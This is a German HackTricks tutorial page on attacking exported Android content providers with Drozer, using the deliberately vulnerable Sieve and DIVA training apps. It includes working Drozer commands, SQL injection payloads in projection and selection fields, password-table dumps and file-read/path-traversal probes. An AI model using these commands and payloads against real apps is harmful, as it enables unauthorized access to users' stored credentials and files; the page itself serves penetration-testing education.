Ausnutzen von Content Providern
Reading time: 5 minutes
Ausnutzen von Content Providern
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Einführung
Daten werden auf Anfrage von einer Anwendung an andere bereitgestellt durch eine Komponente, die als Content Provider bekannt ist. Diese Anfragen werden durch die Methoden der ContentResolver-Klasse verwaltet. Content Provider können ihre Daten an verschiedenen Orten speichern, wie z.B. in einer Datenbank, Dateien oder über ein Netzwerk.
Im Manifest.xml-Datei ist die Deklaration des Content Providers erforderlich. Zum Beispiel:
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>
Um auf content://com.mwr.example.sieve.DBContentProvider/Keys
zuzugreifen, ist die Berechtigung READ_KEYS
erforderlich. Es ist interessant zu bemerken, dass der Pfad /Keys/
im folgenden Abschnitt zugänglich ist, der aufgrund eines Fehlers des Entwicklers nicht geschützt ist, der /Keys
gesichert, aber /Keys/
deklariert hat.
Vielleicht kannst du auf private Daten zugreifen oder eine Schwachstelle ausnutzen (SQL Injection oder Path Traversal).
Informationen von exponierten Content Providern abrufen
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Es ist möglich, zusammenzustellen, wie man den DBContentProvider erreicht, indem man URIs mit „content://“ beginnt. Dieser Ansatz basiert auf Erkenntnissen, die durch die Verwendung von Drozer gewonnen wurden, wo wichtige Informationen im /Keys Verzeichnis zu finden waren.
Drozer kann mehrere URIs erraten und ausprobieren:
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Sie sollten auch den ContentProvider-Code überprüfen, um nach Abfragen zu suchen:
Wenn Sie außerdem keine vollständigen Abfragen finden können, sollten Sie überprüfen, welche Namen vom ContentProvider in der onCreate
-Methode deklariert sind:
Die Abfrage wird wie folgt aussehen: content://name.of.package.class/declared_name
Datenbankgestützte Content Provider
Wahrscheinlich werden die meisten Content Provider als Schnittstelle für eine Datenbank verwendet. Daher, wenn Sie darauf zugreifen können, könnten Sie in der Lage sein, Informationen zu extrahieren, zu aktualisieren, einzufügen und zu löschen.
Überprüfen Sie, ob Sie auf sensible Informationen zugreifen können oder versuchen Sie, diese zu ändern, um Autorisierungsmechanismen zu umgehen.
Beim Überprüfen des Codes des Content Providers sollten Sie auch nach Funktionen suchen, die wie folgt benannt sind: query, insert, update und delete:
Weil Sie in der Lage sein werden, sie aufzurufen
Abfrageinhalt
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
Insert content
Durch das Abfragen der Datenbank lernen Sie die Namen der Spalten kennen, dann könnten Sie in der Lage sein, Daten in die DB einzufügen:
Beachten Sie, dass Sie bei Insert und Update --string verwenden können, um einen String anzugeben, --double, um einen Double anzugeben, --float, --integer, --long, --short, --boolean
Update content
Wenn Sie die Namen der Spalten kennen, könnten Sie auch die Einträge ändern:
Delete content
SQL Injection
Es ist einfach, auf SQL-Injection (SQLite) zu testen, indem man die Projection und Selection-Felder manipuliert, die an den Content Provider übergeben werden.
Beim Abfragen des Content Providers gibt es 2 interessante Argumente, um nach Informationen zu suchen: --selection und --projection:
Sie können versuchen, diese Parameter zu missbrauchen, um auf SQL-Injection zu testen:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
Automatische SQLInjection-Entdeckung durch Drozer
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence
Dateisystem-unterstützte Content Provider
Content Provider können auch verwendet werden, um Dateien zuzugreifen:
Datei lesen
Sie können Dateien vom Content Provider lesen.
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
Path Traversal
Wenn Sie auf Dateien zugreifen können, können Sie versuchen, einen Path Traversal auszunutzen (in diesem Fall ist dies nicht notwendig, aber Sie können versuchen, "../" und ähnliche Tricks zu verwenden).
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
Automatische Pfadüberquerungserkennung durch Drozer
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
Referenzen
- https://www.tutorialspoint.com/android/android_content_providers.htm
- https://manifestsecurity.com/android-application-security-part-15/
- https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.